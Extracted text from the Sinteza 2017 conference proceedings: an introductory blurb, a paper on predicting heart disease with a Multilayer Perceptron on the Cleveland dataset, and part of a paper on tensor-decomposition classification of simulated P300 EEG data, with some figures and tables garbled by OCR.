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ABOUT SINTEZA 2017

SINTEZA provides an ideal platform for the exchange of information and dissemination of best practices, advance-
ments in the state-of-the-art and technical improvements in the domain of ICT and e-business related research in
today's ubiquitous and virtual environment.

Rapid advances in information and communication technology (ICT) in recent decades have had a huge impact
on numerous facets of everyday life and have created tremendous opportunities for economic, technological and
social gains at a global scale. New technologies and scientific breakthroughs have altered the working and living en-
vironments making them safer, more convenient and more connected. As a key infrastructure of knowledge-based
economies, ICT is a driving force for rapidly growing new sectors, including advanced computing and software
development, business process outsourcing and various Internet services.

The conference seeks submissions from academics, researchers, and industry professionals presenting novel research
on all practical and theoretical aspects in the field of ICT and their applications in a range of business and research
fields.

The most innovative papers presented at this year’s international scientific conference SINTEZA will be recom-
mended for publication in Serbian Journal of Electrical Engineering (M24). The authors of the selected papers are
obliged to submit an extended version of their paper that will be thoroughly reviewed in accordance with the criteria
outlined by the editorial board of the journal. The papers that successfully undergo the review process shall appear
in a regular issue of the journal.

Sincerely,

Organising Committee of Sinteza 2017
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Abstract:

Due to high complexity of decision making in medicine, it has been proven
that usage of Neural Networks is in the cope with the aforementioned prob-
lem. Regarding the variety of the symptoms, one of the biggest challenges
is heart disease. This research has shown that, depending on the symptoms,
Multilayer Perceptron Classifier can effectively decide whether the patient is
suffering from heart disease or not. Main goal of this paper is to determine the
proper parameters setting for the Multilayer Perceptron algorithm in order
to predict heart disease with higher accuracy. However, in order to compare
the obtained results using MLP, the experiment is also done using kNN, and
LDA algorithms. The results confirm that recognition rate of 96.67%, when
using MLP, outperforms other methods when processing heart disease data.

Keywords:

Artificial Neural Network, Heart Disease, Multilayer Perceptron, Decision
Making in Medicine, Deep Learning.

1. INTRODUCTION

Nowadays, human population (not mentioning all other spheres aside)
is facing the enormous speed growing of digital age, and upcoming era of
Big Data, Artificial Intelligence (AI), Machine Learning (ML) and Deep
Learning (DL). Starting from the bottom, back in the 1950., the man
who made fundament research about Al, Alan Turing, gave a chance to
humanity to continue expanding this area and to encounter vast possibili-
ties of this science [1]. Teaching machines to behave like humans, think
like humans, act like humans, make decisions like humans but with little
chance for failure, for sure is the best challenge and unavoidable bright
future that is coming. Machines become smart, and tend to overcome
humans. Therefore, Al is intertwined with computer science, finance,
hospitals and medicine, heavy industry, transportations, games and toys,
aviation and many other areas.

The big step ahead in Al applications is in healthcare, due to the
fact that is the most important thing - to save other people lives. While
intelligence-based medicine is growing, we are facing possibilities start-
ing from healthcare systems with "online doctors" which instantly tell
you which drug is most suitable for your problem, to predicting many

DOI: 10.15308/Sinteza-2017-3-8




diseases, and at the end to detect gene mutation which
are triggers to cancer occurrence and may save you years
of life, and even get you healed [2].

Many researchers try to give contribution to this
field. Durairaj et al. (2015) try to predict the existence
of heart disease using neural network algorithm with
back propagation [3]. On the around 13 medical attrib-
utes from Cleveland dataset, they applied four different
feed-forwarded back propagation training functions,
and obtained results are, 80.13%, 82.15%, 93.26%, and
96.29%, respectively.

Abushariah et al (2014) tried to develop heart dis-
ease diagnosis system based on two approaches: MLP,
and Adaptive Neuro-Fuzzy Inference Systems. These
algorithms were applied on Cleveland dataset. The best
accuracy that system achieved for each approach, were
87.04%, and 75.93%, respectively [4].

Sunila et al (2012) have applied ordinary and improved
MLP algorithm on different medical dataset in order to
design decision support system for cardiovascular heart
disease diagnosis. The results obtained with improved
MLP on Cleveland, Hungarian, and Switzerland dataset
were 82.8%, 80.73%, and 93.49%, respectively [5].

Olaniyi et al (2015), applied MLP, and Support Vector
Machine (SVM) on medical dataset in order to develop
an intelligent system that would prevent misdiagnosis in
heart diseases. The obtained results are 85% with MLP
and 87.5% with SVM [6].

Wadhonkar et al (2015) also used MLP on differ-
ent medical datasets in order set the architecture for
the classification of the heart disease. Datasets used are
Cleveland, Hungarian, Switzerland, and Long Beach V.A.
The obtained performances for the MLP classifier with
10% used of testing data were 96.29% [7].

In this paper we have applied MLP, k-Nearest Neigh-
bors (kNN), and Linear Discriminant Analysis (LDA)
on Cleveland dataset in order to find the best possible
classifier for prediction the heart disease presence. Paper
also discusses new trends in the field of deep learning
algorithms. Furthermore, the adequate set of MLP pa-
rameters for best accuracy is given.

The remainder of the paper is structured as follows:
In Section II, deep learning in neural network algorithms
are discussed; In the Section III, the reasons why MLP
gives the best results when predicting the presence of
heart anomalies, are explained; Section IV represents the
experiment results, and within Section V conclusion and
final remarks are given.
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2. DEEP LEARNING IN NEURAL NETWORKS

When thinking about the future trends and conse-
quences of deep learning algorithm applications, the first
question that appears in our minds is "What is the best
possible way to train the machines to learn in order to
predict with the higher accuracy?". Inputting huge collec-
tions of structured data into machine, applying specific
algorithms, and letting machine to mine the data and
learn form history of patterns in order to predict, adapt,
and act autonomously, is the primary idea of ML, as the
part of AL

Speaking about medicine, not so inappreciable fact is
if we give a machine a large amount of patient’s disease
symptoms, and data collection about all possible diseases,
machine will take time and learn by applying diverse al-
gorithms on mentioned data. Imagine the great outcome
it could be. Is it way better than, e.g. cardiologist reacting
by intuitive for patient experiencing heart attack when
there is no time, or struggling with just simple ventricular
tachycardia caused by heart disease, such as a congenital
heart defect? [8]

Take one step further. By far, we have one missing
puzzle, to complete the described scenario. The breakout
in 2016. is taking the lead over all, it is fast-growing and
called Deep Learning. DL is chasing the Al using the
benefits of ubiquitous ML applied with diverse algorithms
that attempt to extract abstractions from data [3]. DL
faces the challenge to simplify every complex input in
manner that the outcome depicts the same result as it
would human reproduction. DL trains Neural Networks
(NN) using certain set of techniques [9].

From a biological point of view, human brain is com-
posed of neurons, which are strongly interconnected at
synapses. As they accept impulse to one entry, process
it and carry out on the other side, we can do many tasks
such as recognize picture, move body or hear voices.
Seeing picture over and over again, including emotions
within, make our synaptic points stronger which further
implies that we got our neurons trained to react on a cer-
tain picture producing related emotion [10]. That’s where
NN idea is originating — simulating human brain (Fig. 1).

Artificial Neural Networks (ANN) tend to replace
neurons and dendrites, with computer powerful tools
such as CPUs and GPUs. Training NN means to apply
specific algorithms by oscillating with synaptic weights
in order to get realistic output [1]. Our NNs can have
different number of neurons, synapses and the impulse
directions can differ one from another. Thus, NN archi-
tecture is numerous and various. First, basic architecture
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is Feed Forward Single Layer, followed by Feed Forward
Multilayer and Recurrent NNs. Each of these architectures
are characterized by layers. First, input layer, second,
output layer and the layers between called hidden layers
where diverse operations occur. Every layer has, synaptic
weight of each neuron, and bias. Synaptic weight refers
to connection intensity of nodes, while Bias is a skew
that is added to input and every other hidden layer, and
allows us to better predict data fit, giving a flexibility to
the model. Considering problem where all input values
are equal to zero, without bias any NN would not be able
to fit the data. The parameter between inputs and activa-
tion function is Sumator. Sumator is used to calculate
all parameters before they are proceeded to Activation
function. Activation function is triggered if value exceeds
threshold, so the signal is going to be sent [8]. Figure 2
illustrates the principle that has been described.

Fig. 1. Interconnections between neurons in human brain

Input
x/
Output
©2 o() 2

xn

Fig. 2. Nonlinear perceptron model
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First activation function - step or heaviside functions
are used for binary representations, since they can have
values [1,0]. For biological neurons we need values among
0 and 1, where Sigmoid function takes the case.

Gradient descent (GD) or method of steepest descent
is an optimization algorithm to find local minimum of
function, in a way of going one step proportional of posi-
tive gradient at the point, till reaching local minimum

(Fig. 3).

Chaotic

Local
maximum

Search ;
path start N

Fig. 3. Local minimum and maximum of a function

Negative gradients are orthogonal to curves at every
step. The opposite method which counts local maximum
is Gradient Ascent (GA). Let’s take one well-known ex-
ample towards minimum and maximum. Hill Climbing
(HC) explains that if we start climbing on the mountain,
and reach the first peak or foothill, GD and GA helps us
not to be blinded about the real top or downhill which
in fact, we are seeking for [1].

These methods are combined with Back propagation
algorithm (BP) which is algorithm for fast training NNs.
Since there was always a problem how to fit the values
of bias and synaptic weights, BP actually calculates and
changes biases and synaptic weights, in order to get closer
to realistic outcome, thus learning the NN. It can also give
us possibility to see the behavior of network, by setting
other values [9].

3. HEART DISEASE PREDICTION USING
MULTILAYER PERCEPTRON CLASSIFIER

Multilayer Perceptron (MLP) fits the best to problem
that we are researching because it is of great importance
to properly classify presence of any kind of anomalies,
with respect to symptoms affecting people. It represents
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form of supervised learning where function f(-) : R™ >
R learns from input which is determined by parameter
m, that stands for number of dimensions for input, and
give the output presented by parameter o that is number
of dimensions for output. MLP can learn depending on
input features X=x ,x ,....x and output targets y, either
to classify or make a regression of non-linear function.
Subsequently, it has a capability to learn models in real
time (online learning) [11]. Classification here identify the
targets or class label of an object [12]. Class MLPClassifier
implements MLP algorithm which trains NN using BP.

Considering multiple possibilities of adapting MLP
object, each parameter gives variety of solutions regarding
your desirable output. It consists of hidden_layer_sizes,
activation, solver, alpha, batch size, learning rate, max_
iter, random state, shuffle, tol, learning_rate_init, power_t,
verbose, warm_start, momentum, nestrovs_momentum,
early_stopping, validation_fraction, beta_1, beta_2 and
epsilon, respectively.

Parameter hidden_layer_sizes represents matrix of
values for hidden layers and for number of neurons in
each hidden layer. Important part of every NN is choos-
ing the most suitable algorithm for weight optimization,
which we can define with solver parameter. Algorithm can
be LBEFGS, Stochastic Gradient Descent or Adam [11].
In order to prevent over fitting, regularization is a very
meaningful method in ML [13]. From mathematical point
of view, it adds a regularization term in order to avert the
coefficients to overfit. Following, alpha represents the sum
of the weights. To determine state for random number
generator we use aforementioned parameter random state.

4. EXPERIMENTS AND RESULTS

For the purpose of this research, we have used Cleve-
land database that has 303 instances and 76 attributes,
where 13 of them are actually utilized, and 14th repre-
sents the predicted value. Table 1. describes 14 attributes,
respectively.

Attribute name Description

Age Age in years

Sex 1 = male; 0 = female
Chest pain type:

c Value 1 = typical angina

P Value 2 = atypical angina
Value 3 = non-anginal pain
Value 4 = asymptomatic
Sinteza 2017
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Trestbps Resting blood pressure (in Hg)

Chol Serum cholestoral in mg/dl

Fbs Fasting blood sugar > 120mg/dl; 1 = true,
0 = false
Resting electrocardiographic results:
Value 0 = normal
Value 1 = having ST-T wave abnormality

Restecg (T wave inversions and/or ST elevation or
depression of > 0.05 mV)
Value 2 = showing probable or definite left
ventricular hypertrophy by Estes’ criteria

Thalac Maximum heart rate achieved

Exang Exercise induced angina (1 = yes; 0 = no)

Oldpeak f(;l"r(::?ression induced by exercise relative
The slope of the peak exercise ST segment:
Value 1: upsloping

Sl

ope Value 2: flat

Value 3: downsloping

Ca Number of major vessels
(0-3) colored by flourosopy

Thal 3 = normal; 6 = fixed defect; 7 = reversable
defect

Num The predicted attribute

Table 1. Description of dataset attributes

Number of instances that were tested are 261, from
which 76% is used for training set and 10% for test set.
Training set was used for learning NN. Process of the
experiment had this flow: Firstly, two arrays were gen-
erated, one of them is 2D array that represent training
set which has 231 elements with 13 features. The second
2D array consists of 30 elements and stands for test set.
Targets were defined in another 2D array with 2 features,
for the purpose of mapping training set with his target
pair. First feature is coded with [0,0] and gives the result
of a patient which has no disease, where second feature
coded [1,1] gives the result of a patient suffering from
disease. Following, MLP Classifier instance was set with
certain parameters in order to train NN. Training set
was mapped with targets using the fit function. After
fitting, function predict was used for foreseeing outputs.
The output field refers to the presence of heart disease
in the patient. It is integer valued from 0 (no presence)
to 1 (has presence) [14].

For this experiment we have used open source scikit-
learn [15] from which we have used machine learning
algorithms developed in Python Notebook. For running
the code we have used Anaconda platform [16].

In order to fully confirm good performances
that MLP has achieved, we have also applied Linear
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Discriminant Analysis (LDA) and k-Nearest Neighbors
(kNN) algorithms to the same dataset. LDA is most com-
monly used statistical technique in data classification and
dimensionality reduction [17]. Fundamental concept of
LDA is finding a linear combination of predictors (targets)
that separates two classes in a best way. After applying
LDA on training set we got results giving 88,25% accu-
racy. Test set with randomly chosen values gave 93,33%
accuracy, which confirmed effectiveness for classification
problems. Following, we continue our research targeting
kNN algorithm. Entire training set is model for kNN. For
unseen data, KNN search through existing data finding
the k-most nearest neighbors. Accordingly, the major
feature of kNN is distance measuring, without guessing
anything about input data. Hence, value of parameter k
could vary depending on approximation of input data.
Therefore, we set k to value 1 which appears to be the
most suitable, and got result with 74,49% of accuracy.

Based on obtained results we can conclude that used
classification algorithms show their full potential on
smaller datasets with smaller number of targets. Regard-
ing MLP precision on larger datasets, it gives the best
results even if you have more targets. The percentage of
accuracy that we got according to dataset that we use for
the purpose of this paper is 96,67%. Classification and
results are shown in Figure 4, and 5, respectively.

Figure 4 represents training data which represents
patients that have disease or not. There are also imported
data from test set which represent patients for whom we
need to determine whether they are suffering from heart
disease or not.

Figure 5 predicted and classified data. From the previ-
ous parameter “indeterminate” served for deriving new
results which were correctly classified as healthy or sick.
Also, there were points of wrongly classified patients,
which showed where algorithm had made a mistake.

MLP Classifier diagram

20
® No presence of disease
m Has disease

15 A1 * Indeterminate

101 L STl T TR R & R Wk Rk www

0.5 A1

0.0 1 Co o kW . % EHYE EEEEmS 00

-0.5 T T T T T

30 40 50 60 70

Fig. 4. MLP Classifier diagram representing training set
data and test data without mapping values with targets
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MLP Classifier effectiveness
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® No presence of disease
25 m Has disease
+ Wrongly classified
20 r  Classified as healthy
4 Classified as sick
15

10 {e LN NV VW WY dse VVe | |

05 A

0.0 1 SO0 D LTeTID CTeT T TRk A ERATEmS T O O

-05 u T T u T
30 40 50 60 70

Fig. 5. MLP Classifier effectiveness with
all classified data shown

5. CONCLUSION

Lately, the field of deep learning is progressively ad-
vancing. Researchers try to find the best possible algo-
rithm, that will achieve best performance and provide
even better accuracy. It seams that goal is to develop
algorithm that is better of human mind. This fact can scare
us, but when we take into account that medical errors are
the third-leading cause of death, then we are more then
thrilled with a thought of perfect mind (machine) that
never makes mistakes. In this paper we tried to contribute
in the field of heart disease diagnosis, therefore we have
applied several algorithms on the Cleveland dataset. In
order to compare our results, in the first part of the paper
we have analyzed previous studies in this domain. So far
the best accuracy that is achieved is 96.29% with MLP
when applied on Cleveland dataset. In this paper we also
try to define the best parameters for MLP algorithm in
order to achieve best performance. According to the
obtained results we can confirm that the neural network
algorithm MLP outperformed previous results, and other
methods, with the recognition rate of 96.67%.
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Abstract:

Recently, it was shown that auditory brain-computer- interface (BCI) clas-
sifications can be performed in real life environments. However, the need
for initial training of existing supervised classifiers on large parts of that data
discourages practical application. Reducing calibration time of BCI analyses
would benefit short-term interactions. The current paper presents a carefully
simulated study of P300 Event-Related-Potential (ERP) data to illustrate the
performance of tensor decompositions for data-driven classification of the
P300 effect. The aim of this study was to investigate whether coupling of a
high- and low-noise dataset can enhance data-driven clustering of the P300.
Imposing structure and linking the decompositions of higher dimensional data
arrays called tensors was hypothesized to increase the classification accuracy.
For the highest noise dataset (SNR=0.60), we demonstrated that imposing
a coupling to datasets with a lower noise level can significantly improve the
extracted clusters to classify target from non-target trials to achieve equal
accuracy to the widely used supervised regularized Linear-Discriminant-
Analysis (rLDA). We evaluated the performance of Canonical Polyadic
Decomposition (CPD) and decomposition in multilinear rank Lr,Lr,1 terms
(LL1). These structured models do not need a training phase or label informa-
tion, although they require additional data. Finally, we illustrated the potential
of the tensor approach for the analysis of simultaneous EEG recordings in
which the trial mode is shared between subjects. Without a priori knowledge
of the signal of interest, the tensor-based models successfully separated the
two stimuli classes in the highest noise scenario up to 100% for coupling
of five simulated subjects. These results highlight the benefits of exploiting
structure in the stimuli and experimental setup (e.g., conditions or subjects).

Keywords:
Tensor Decompositions, EEG, P300, Data-Driven Classification.

1. INTRODUCTION

Electroencephalography (EEG) is a measurement of electrical activities
in the brain which are caused by large neuron group activity. Various elec-
trodes positioned on the scalp record electrical activity, providing excellent
resolution of time and enabling the observation and identification of specific
areas of the brain that are active at any given point, even on sub-second

timescales. Research frequently concentrates on distinguishing between
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states of the brain relative to events, e.g., the presentation
of images (visual) or sounds (auditory). These different
states can be utilized to control a device through a brain-
computer interface (BCI).

The most frequently studied feature in BCIs with EEG
is the P300 Event-Related Potential (ERP) which is a posi-
tive deflection around 300-500ms in the EEG, produced
as a response to both task-relevant and rare stimuli [1].
BClIs were originally conceived to function as access to
computers for patients that are locked-in. In recent times
they have also been recognized as having potential ap-
plications for users that are healthy—certainly if they are
not restricted by the bounds of conventional laboratory
scenarios [2]. The majority of studies on BCI rely on
supervised machine-learning techniques to distinguish
task-relevant stimuli [3]. Essentially, a substantial part
of the data is discarded for model training, rather than
interacting with the BCI, which comes at the cost of
consuming users time and effort. The use of calibration-
free classifiers could increase the application potential
significantly by removing this specific training phase.

As it is possible to naturally represent ERP data as a
third- order tensor (i.e., channels x time x trials), it may
be beneficial to exploit this multidimensional structure
in the analysis. The existence of a specific spatiotemporal
pattern which underlies the target trials, and is not present
in the non- targets, can be elegantly exposed by means
of tensor decompositions [4]. These optimization-based
methods enable a priori knowledge of the data (e.g., noise
levels, Expected ERP) and stimulus protocol to be incor-
porated in the analysis via constraints [5, 6].

Canonical Polyadic Decomposition (CPD) and de-
composition in multilinear rank Lr,Lr,1 terms (LL1) are
known to have the ability to classify the data of single-
trial ERP in ways that are completely data driven [4]. In
the current study these models are evaluated to derive
meaningful P300 ERP-related components from coupling
of various datasets with different levels of signal-to-noise
ratio (SNR). Coupling between the datasets is expressed
by using one or more common factors in the different
factorizations of the tensor models. The coupling of dif-
ferent factors and the influence of noise on the derived
clustering of the P300 is evaluated on simulated EEG
data (i.e., 15 datasets of 200 trials) of four different noise
levels (SNR-range: 3.73 - 0.60) which mimic realistic set-
tings; for example, the visual P300 in lab recordings [7]
as well as auditory P300 in recent mobile EEG recordings
[8]. The tensor decomposition results were compared to
that of the widely utilized supervised rLDA classification
[e.g., in 4,8].
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The single CPD and LL1 models are shown to be able
to separate ERP subcomponents such as the N100 and
P300 and provide reliable differentiation of target and
non-target stimuli for low noise levels. For the highest
noise levels, coupling of a high- and low-noise dataset
enhances the data-driven clustering of the stimuli signifi-
cantly. Moreover, we illustrate different ways of coupling
the various factors in the tensor decompositions to tailor
the model to specific usage scenarios (e.g., multi-user
recordings [9,10]).

In the next section we explain the simulated data
generation and characteristics of the signal and noise.
Consecutively the preprocessing steps performed are
elaborated, followed by a description of the (coupled)
tensor models that are considered in the analysis. Finally,
the results of the tensor models and reference method are
presented and discussed.

2. DATA GENERATION AND
PREPROCESSING

The simulated data were generated using the BESA
simulator (www.besa.de/products/besa-simulator/). This
simulator utilizes a spherical four-shell head model to
generate EEG data based on predefined dipoles [11].
Five dipoles were used for the generation of P300 ERPs
as target trials, which are depicted in Fig. 1. Two dipoles
with a frontal focus correspond primarily to the N100
effect, a central dipole to the N200 and P3a effects and
finally two posterior dipoles that represent a P300-like
deflection around 450 ms after stimulus presentation.
Consecutively, the two dipoles corresponding to the P300
(i.e., dipole 4 and 5 in Fig. 1) were diminished in ampli-
tude to obtain a second set of EEG data without explicit
P300 effects, hereafter referred to as the non-target Trials.
Differentiating between the target and non-target trials
is the primary aim in BCI approaches, and the simulated
data resembles an auditory oddball paradigm [e.g., 8, 12].

The EEG data were simulated at 24 channels corre-
sponding to standard 10-20 locations: FP1, FP2, Fz, F7,
F8, FC1, FC2, Cz, C3, C4, T7, T8, CPz, CP1, CP2, CP5,
CP6, TP9, TP10, Pz, P3, P4, O1 and O2. The data were
generated with a sampling rate of 500Hz. The topography
and sampling rate are identical to that of recently pub-
lished mobile EEG studies ([12]). To obtain realistic data,
several types of noise were added to the model. First, the
amplitude of the sources is modulated randomly to differ
up to 50% in between trials. Second, EEG-like broadband
noise (i.e., as implemented in the BESA simulator) was
added to the dataset to simulate background activity
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unrelated to the simulated ERP events. The noise had a
relative high correlation between signal amplitudes from
electrodes that were close together. noise-free data were
generated for reference purposes, and in addition four
different proportions of noise were added to the ERP
effects. The noise amplitude is scaled by its root mean
square (RMS) value to match noise values of 0.5, 1.0, 1.5
and 2.0 uV, and alpha activity at 8-12Hz was generated
and added to the signals with an amplitude that was 50%
of the overall noise RMS value per trial. The four noise
levels corresponded to SNR values of 3.73, 1.75, 0.97,
0.60 from high to low, respectively. The signal-to-noise
ratio (SNR) was calculated following previously described
procedures in the literature as the ratio of the maximum
P300 peak and the pre-stimulus RMS of the EEG.

We simulated 15 datasets of 100 target and 100 non-
target Trials for each of the four noise levels and the noise-
free case. One trial lasted 1000ms in which the stimulus
onset was simulated at 200ms. The data were preprocessed
offline using EEGLAB and MATLAB (Mathworks Inc.,
Natick, MA). The EEG data were 0.5-20 Hz band-pass
filtered and baseline- corrected (-200-0 ms) after re-
referencing to the mean of TP9 and TP10. To eliminate
the effect of outliers in the data, we performed a Z-score
normalization per channel and trial. This way, the overall
variance is more uniform before analyzing the data with
the tensor models.

The average ERPs at channel Pz for the target and non-
target stimuli are presented in Fig. 2 for each of the noise
levels. The corresponding SNR values illustrate that the
last two noise levels portray situations in which the noise
is equal to or higher than the signal of interest (i.e., P300),
mimicking realistic mobile EEG P300 scenarios [8].

800

— NonTarget Time (ms)

Fig. 1. Overview of the dipole spatial location on a top-
down view (left) and temporal characteristics of each
dipole on the right. The blue lines depict the temporal
progression in the Target trials and the orange for the

Non-Target trials. Image obtained from the BESA simu-
lator (available online at www.besa.de/products/besa-
simulator) and modified to highlight the P300 source.

Noise level 1

Noise Free (level 0)

(SNR=3.73)

Noise level 2

Noise level 3 Noise level 4

(SNR=1.75) (SNR=0.97) (SNR = 0.60)

-1 - : .
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Time (ms)
Fig. 2. Average ERPs at Channel Pz for the noise free case (most left) and the four increasing levels of noise from left to right respectively.

Fig. 2. Average ERPs at Channel Pz for the noise free case (most left) and

the four increasing levels of noise from left to right respectively.
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3. TENSOR BASED MODELS
CPD

Multidimensional signals can be decomposed by the
CPD as a sum of rank-1 terms [13]. For the three-dimen-
sional case, the CPD will decompose a tensor X as follows:

R
X=Zar0brocr+s

r=1

-
-
-
Channels
fa,
n
———
-
__U' [
5
+
—/—/
=
- H

with R representing the number of components, a, b,
and c, the signatures of every atom in each of the modes,
and ¢, the model error. Each mode has a specific signa-
ture which characterizes the extracted component; in
the three- dimensional tensor representing the ERP as
a channel x time X trials structure, the spatial distribu-
tion of the different atoms would be contained in a , the
time courses would be contained in b, and a strength
of the space-time signature across trials would be given
in c. An example of a decomposition with CPD is il-
lustrated in Fig. 3. This represents the decomposition of
a dataset of intermediate noise level (SNR = 1.75). The
first component extracts characteristics that relate to the
N100 ERP with a frontal central focus, and the second
to the P300 effect with a posterior topography. The last
component reflects an alpha noise source. From the third
mode (i.e., trial mode), it can be noted that the second
component clearly differentiates between the two classes
in the data. In this dataset the trials could be separated
with 92% accuracy.

The CPD model is trilinear, which means that each
mode's vectors are proportional to each other within a
rank-1 component. Generally, if the data follows a rank
R structure, the decomposition is unique up to permuta-
tion and scaling of the extracted components [14]. The
size of the data tensor for the single CPD and single LL1
models is 24 x 500 x 200 for the channels time and trial
dimension, respectively.
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LL1 decompositions

Although CPD provides interpretable components,
the model can be too restrictive for some applications,
as it does not model all variability in the data [4, 15].
LLI allows the modeling of more variation in two fac-
tors (denoted by Lr) [16,17]. While for the CPD model
the time course of a certain component is the same on
all channels, LL1 will allow some variation of the time
course on the different channels. The LL1 approximates
a third-order tensor by a sum of R terms, each of which
is an outer product of a rank-Lr matrix and a nonzero
vector. A three-dimensional data tensor X can be decom-
posed by a LL1 as:

R
X=Y (A-Bf)oc+e
r=1
,\@f’ /L /ﬂ
)
@Lug = Bl*»-* B,
Time A, A

The tensor X is the sum of the outer products of a rank
Lr matrix (the product of matrices Ar and Br-transposed)
and the component vector cr, with R representing the
number of components and ¢, again the model error. Simi-
lar to the rank, Lr should be set a priori. In our example
we allow the spatial and temporal mode to be of higher
rank as compared to the CPD models. This is expected
to capture time and waveform variability more accurately
between the target and non-target effects as constituted
in the trials. The interpretation of the trial dimension c
is similar as to the one from CPD model. An overview
of tensor decompositions used in signal processing ap-
plications is presented in [18] and [19].

Coupled Decompositions

Instead of decomposing a single dataset, CPD and
LL1 can be used to express coupling between datasets. A
so-called coupled decomposition of two datasets can be
achieved in a framework known as Structured-Data Fu-
sion (SDF) which is a specific syntax to impose structure
on factors in the tensor decomposition [5, 6]. For example,
we can impose equality between the spatial factors of two
decomposed datasets of different SNR level. This is illus-
trated for the CPD case in the schematic below, indicating
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equality between both the spatial and temporal mode in
the two datasets. In the current work, we studied the ef-
fectiveness on the P300 separation when the highest noise
condition was coupled with a lower-noise-level dataset.
This is based on the assumption that the underlying source
model for the P300 in both datasets is (roughly) similar
and only the variability over trials (over the course of
the experiment) is different. For both the CPD and LL1,

we evaluated the clustering on the lowest SNR dataset
when jointly decomposed with higher SNR datasets. The
decomposition of both datasets happens simultaneously
and without any additional stimulus information. The
size of the coupled model is comprised of 2 data tensors
of dimensions 24 x 500 x 200 for the channel, time and
trial dimension, respectively.

Factor Weight
(O AENON A

Factor Weight

I

DN RO HNWS

50 100 150
Trials

)
w
S
8
=
(o]
=)
N
=]
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Fig. 3. Example CPD outcome of a dataset from noise-level 2, illustrating the decomposition with the corresponding
spatial, temporal and trial modes for a model or Rank = 3. The components depict the N100, P300 and noise
signature from left to right, respectively. The first half of the trials corresponds to the target Trials, the latter to
non-targets. Component 2 is able to separate the classes by 92%, based on the factor weights of the third mode.

Fixed-Factor Decompositions

Tensor decompositions can be applied in a supervised
way by transferring factors between models. For example,

Sinteza 2017
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a spatiotemporal signature from one CPD or LL1 model
from a low noise dataset can be chosen and imposed on
the decomposition of a high noise dataset. This way, we
aim to achieve a better clustering of the target trials in
contrast to the non-targets in the high noise conditions.
This so-called fixed- factor decomposition requires the
datasets to be decomposed consecutively and relies on
identifying the most useful component in the first decom-
position that is to be transferred. This concept is illustrated
in the schematic below. Note that the top decomposition
is evaluated first and the best temporal- spatial pattern is
transferred to the second model. The size of each data-
tensor is 24 x 500 x 200 (channels, time and trial), and
each is decomposed independently of the other.
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Simultaneous Recordings (multi-user BCI)

Besides coupling or fixing factors of the spatial or
temporal modes, one could opt for coupling the trial
mode of two or more datasets. This could be useful for a
specific type of paradigm that is gaining momentum in
the past years in the field of EEG research and is com-
prised of simultaneous recordings of multiple subjects.
One example of such paradigm is the control of a BCI
Space Invaders game by two subjects [9] and another, the
simultaneous analysis of EEG in response to video in a
classroom environment [10]. Since these subjects may
have different spatiotemporal patterns, the spatial and
temporal modes are left unconstrained. However, the
trial (i.e., time) dimension is assumed to be identical, as
the subjects are doing the same task at the same time. The
schematic below illustrates the constrained CPD model
in which the third (trial) mode is shared between data-
sets. This way the CPD or LL1 model derives the shared
information between two or more of such datasets on the
trial factor. The additional structure in the trial factor is
employed to increase the overall SNR. The performance of
this coupling is evaluated in the current study by combin-
ing up to five datasets of the highest noise scenario (i.e.,
SNR = 0.60) to increase the overall distinction between
target and non-target trials. The size of data that is used in
the decompositions is 1 to 5 times a single subject dataset
of dimensions 24 x 500 x 200 that represent the channel,
time and trial dimension, respectively.
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Decomposition Parameters

In this study, all CPD and LL1 models were computed
with the nonlinear least squares (NLS) algorithm in the
publicly available Tensorlab 3.0 toolbox [5]. These meth-
ods are dependent on several parameters of which the
following are evaluated: the initialization of the model,
the number of iterations of the NLS algorithm, the num-
ber of components (i.e., Rank R) and, specifically for
LL1, the value of L. Unless stated otherwise, all models
were initialized randomly. By default, all computations
were allowed up to 1000 iterations for the NLS. Post hoc
evaluation of the number of iterations did not improve
the results and these results were therefore omitted be-
cause of space limitations. In the case of LL1, values of
L>3 showed no clear differences on an extra simulated
dataset and therefore a value of L=3 was chosen for all LL1
models in the current analysis. The Rank of the models
was evaluated explicitly for Ranks of 1 to 10.

Clustering and Classification

The factor loading on the trial dimension can be used
to naturally obtain two clusters (e.g., Fig. 3, Component
2). Accuracies were obtained by taking the median value
of the trial factor as threshold for each component in
the decomposition to obtain two clusters. The resulting
classes are compared to the true labels, and this results in
a clustering percentage for each component. This method
only allows for separation of the trials into two classes; it
does not identify which class corresponds to the target or
distractor stimuli. Nevertheless, identifying the stimulus
may be derived from the corresponding spatiotemporal
signature in the other modes. Evaluation of the Tensor-
based clustering is achieved by a comparison to those of
rLDA, which is one of the widely used P300 classification
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algorithms [e.g., 8, 12]. This requires a separate training
phase to calibrate the classifier function. Essentially a
substantial part of the data is discarded for model training,
rather than interacting with the BCI, which comes at the
cost of consuming users’ time and effort [3]. The basic
LDA feature set comprised seventeen 47ms data bins on
all 12 electrodes between 0-800 ms, which is reported
repeatedly as an efficient feature set for classifying the
P300 [8, 12]. Shrinkage regularization as implemented in
BCILAB is used for rLDA classification. Per subject, the
classifiers are trained based on five-fold cross-validation
procedure.

4. RESULTS
Single Dataset Models

The grand average classification accuracies are sum-
marized in Table 1. For the conditions ‘without noise’ and
‘lowest noise level’ (SNR = 3.73), all models performed
near 100% for separating the target from non-target tri-
als. In the case of an SNR of 1.75, the clustering was on
average correct for 92% of the trials, for all methods. The
two highest noise cases (noise 3 and 4) were significantly
better clustered by the supervised rLDA, as opposed to
the LL1 models, (t14= 5.93, p<0.0001) and (t14= 14.33,
P<0.0001) respectively. The CPD results were on par
with the rLDA for the noise 3 case, even though they
were lower in the highest noise data (t14=4.53, p<0.001).

Average Clustering % (+ SD)

Method Noise 1 Noise2 Noise3 Noise4
SNR= SNR= SNR= SNR=

3.73 1.75 0.97 0.60

Noise-
Free

Supervised  100.0 99.0 91.8 85.6 78.9
rLDA (x0) (#0.9) (£1.3) (%3.0) (£2.9

uncoupled  100.0 99.6 92.6 85.0 71.0
CPD (x0) (£0.5)  (£2.0) (+3.0) (x7.1)*

uncoupled  100.0 99.3 91.9 73.3 62.9
LL1 (+0) (£0.6) (£1.9) (£7.5)* (£3.2)*

Table 1. Average accuracies of the r(LDA, CPD and
LL1 method for discriminating between target and
non-target trials for each of the five different levels of
noise. Values with an asterix were significantly lower as
compared to rLDA (p < 0.001).
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Fig. 4 illustrates the influence of the Rank of the ten-
sor models on the clustering percentage. The number of
components was found to be optimal for 3-4 components
over all noise levels. This is similar to previously described
results on clustering mobile EEG data with CPD [20].
LL1 outperforms the CPD results for models of only one
component for all noise levels. Similarly, the LL1 achieves
better clustering for higher component numbers (i.e., >
5) for the lowest noise level. A remarkable finding is that
the LL1 models performed significantly lower on the two
